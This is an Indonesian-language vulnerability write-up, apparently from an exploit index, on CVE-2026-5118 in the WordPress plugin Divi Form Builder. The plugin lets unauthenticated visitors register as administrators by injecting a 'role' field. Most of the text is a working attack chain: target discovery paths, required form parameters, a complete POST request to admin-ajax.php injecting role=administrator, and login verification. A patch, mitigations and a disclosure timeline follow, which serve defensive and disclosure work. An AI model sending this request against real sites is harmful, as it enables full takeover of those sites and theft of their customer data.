Share
## https://sploitus.com/exploit?id=66FE3CD0-D3F5-5BFE-B5A6-FC6CE964F5E2
๐ฅ CVE-2026-5118
Divi Form Builder
---
## ๐ฏ Ringkasan
Plugin WordPress **Divi Form Builder** versi **5.1.2 dan sebelumnya** memiliki kerentanan **Critical** yang memungkinkan **penyerang tanpa autentikasi** membuat akun **Administrator** secara langsung melalui form registrasi.
> Satu field tersembunyi. Satu nilai yang diubah. Akses penuh ke seluruh website.
---
## ๐งจ Apa yang Bisa Dilakukan Penyerang?
| Kemampuan | Dampak |
|---|---|
| ๐ Buat akun admin tanpa login | **Full Site Takeover** |
| ๐ฆ Akses data pelanggan WooCommerce | **Data Breach** |
| ๐ Edit file plugin/theme (PHP) | **Remote Code Execution** |
| ๐ณ๏ธ Buat backdoor tersembunyi | **Persistent Access** |
| ๐ฅ Lihat semua data pengguna | **Privacy Violation** |
---
## ๐ฌ Analisis Kerentanan
### Lokasi Kerentanan
```
includes/shared/handlers/FormSubmissionHandler.php โ create_user()
```
### Kode yang Rapuh
```php
// Baris ~1691: Ambil role dari input user (TANPA VALIDASI KEAMANAN)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Baris ~1702: Hanya cek APAKAH role ADA di sistem, BUKAN apakah role AMAN
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber';
}
// Baris ~1745: Langsung terapkan role yang diinjeksi!
$user = new WP_User($user_id);
$user->set_role($role); // โ "administrator" langsung diterapkan
```
### Mengapa Ini Berhasil?
```
ALUR VALIDASI YANG BERMASALAH
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Penyerang kirim: role=administrator โ
โ โ โ
โ sanitize_text_field() โ "administrator" (bersih) โ
โ โ โ
โ isset($roles_obj->roles["administrator"]) โ TRUE โ โ BUG! Hanya cek ADA/TIDAK
โ โ โ
โ $user->set_role("administrator") โ ADMIN PENUH! โ โ PRIVESC!
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
"administrator" ADALAH role yang valid di WordPress,
jadi validasi isset() SELALU return true.
Fungsi ini TIDAK PERNAH menolak role berbahaya.
```
### Vektor Serangan
Form registrasi DFB mengandung hidden input:
```html
```
---
## ๐ ๏ธ Proof of Concept โ Rantai Serangan
### Fase 1: Rekayasa โ Temukan Target
```
[โ
] Target Discovery: Divi Form Builder indicator
โโโ Endpoint scan: 50+ path registrasi
โโโ Homepage link crawl: keyword priority
โโโ REST API: /wp-json/wp/v2/pages?search=register
โโโ Sitemap parsing: XML sitemap URLs
โโโ DFB REST API: /wp-json/divi-form-builder/v1
โโโ AJAX probe: de_fb_ajax_submit_ajax_handler
โโโ WooCommerce: /my-account/ sub-pages
โโโ robots.txt: custom sitemaps + disallow
โโโ Contact pages: DFB forms tersembunyi
โโโ wp-json deep: content-first scan
[โ] Ditemukan:
[โ] Versi plugin: v4.1.9 (VULNERABLE)
[โ] Form multi-step dengan reCAPTCHA v3
```
### Fase 2: Ekstraksi Parameter Form
```
Parameter yang diperlukan:
โโโ fb_nonce: [dari hidden input / de_fb_obj]
โโโ form_key: [dari hidden input]
โโโ form_type: register
โโโ divi-form-submit: yes
โโโ role: [INJEKSI: administrator]
Field pemetaan:
โโโ de_fb_user_login + user_login (kedua varian wajib)
โโโ de_fb_user_email + user_email
โโโ de_fb_user_pass + user_pass
โโโ de_fb_pass_repeat
```
### Fase 3: Injeksi Role โ Eskalasi Privilege
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest
------POC
Content-Disposition: form-data; name="action"
de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"
[nonce_dari_form]
------POC
Content-Disposition: form-data; name="role"
administrator
------POC
Content-Disposition: form-data; name="form_type"
register
------POC
Content-Disposition: form-data; name="divi-form-submit"
yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"
attacker1337
------POC
Content-Disposition: form-data; name="user_login"
attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"
attacker@proton.me
------POC
Content-Disposition: form-data; name="user_email"
attacker@proton.me
------POC--
```
### Fase 4: Verifikasi โ Akses Administrator
```
[โ] POST /wp-login.php
user_login=attacker1337&user_pass=Str0ngP@ss!
[โ] HTTP 302 โ /wp-admin/
[โ] FULL ADMINISTRATOR ACCESS CONFIRMED
โโโ Dashboard: /wp-admin/
โโโ Users: Can create/delete any user
โโโ Plugins: Can install/activate/edit PHP
โโโ Themes: Can edit template files โ RCE
โโโ Settings: Full site control
```
---
## ๐งช Verifikasi Laboratorium
Pengujian dilakukan di **isolated Docker environment** (WordPress 6.5 + DFB v5.0.0):
```
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ LAB VERIFICATION RESULTS โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฃ
โ Method: AJAX (admin-ajax.php) โ
โ Role injected: administrator โ
โ Response: "Registration successful!" โ
โ Login: HTTP 302 โ /wp-admin/ โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ Method: Form POST (direct submission) โ
โ Role injected: administrator โ
โ Response: "Registration successful!" โ
โ Login: HTTP 302 โ /wp-admin/ โ โ
โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ
โ Status: โ
PWNED โ Full Admin Access โ
โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
```
## ๐ง Perbaikan yang Direkomendasikan
### Solusi: Allowlist Role Registration
```php
// SEBELUM (rentan):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // โ Hanya cek ADA, bukan AMAN
}
// SESUDAH (aman):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Hanya izinkan role yang aman untuk registrasi publik
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // โ Tolak semua role berbahaya
}
```
### Langkah Tambahan
1. **Hapus parameter `role` dari form frontend** โ Gunakan `default_user_role` yang sudah ada
2. **Tambahkan nonce verification** yang ketat pada AJAX handler
3. **Tambahkan capability check** `current_user_can('create_users')` untuk role khusus
4. **Rate limiting** pada endpoint registrasi untuk mencegah brute-force
---
## ๐ Timeline
| Tanggal | Event |
|---------|-------|
| 2026-04-13 | Versi 5.1.3 dirilis (kemungkinan fix berdasarkan changelog) |
| 2026-05-21 | Kerentanan diverifikasi secara independen di isolated lab |
| 2026-05-21 | Responsible disclosure dikirim ke Divi Engine Security |
---
## ๐ก๏ธ Mitigasi Sementara (Sebelum Patch)
1. **Update ke versi 5.1.3+** jika tersedia
2. **Nonaktifkan form registrasi DFB** sampai fix diterapkan
3. **Gunakan WAF rule** untuk memblokir parameter `role=administrator` pada POST request
4. **Monitor** `wp_users` table untuk akun admin baru yang tidak dikenal
5. **Batasi akses** `/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handler`
---
## โ๏ธ Disklaimer
Dokumen ini dibuat untuk tujuan **edukasi dan responsible disclosure**. Semua pengujian eksploitasi dilakukan di **isolated laboratory environment**. Pada target hidup, hanya **deteksi pasif** yang dilakukan (identifikasi form dan parameter, tanpa pengiriman data eksploitasi).
**Penulis tidak bertanggung jawab** atas penyalahgunaan informasi dalam dokumen ini.
---
CVE-2026-5118 โข Divi Form Builder โค 5.1.2 โข Unauthenticated Privilege Escalation
Discovered & Verified: 2026-05-21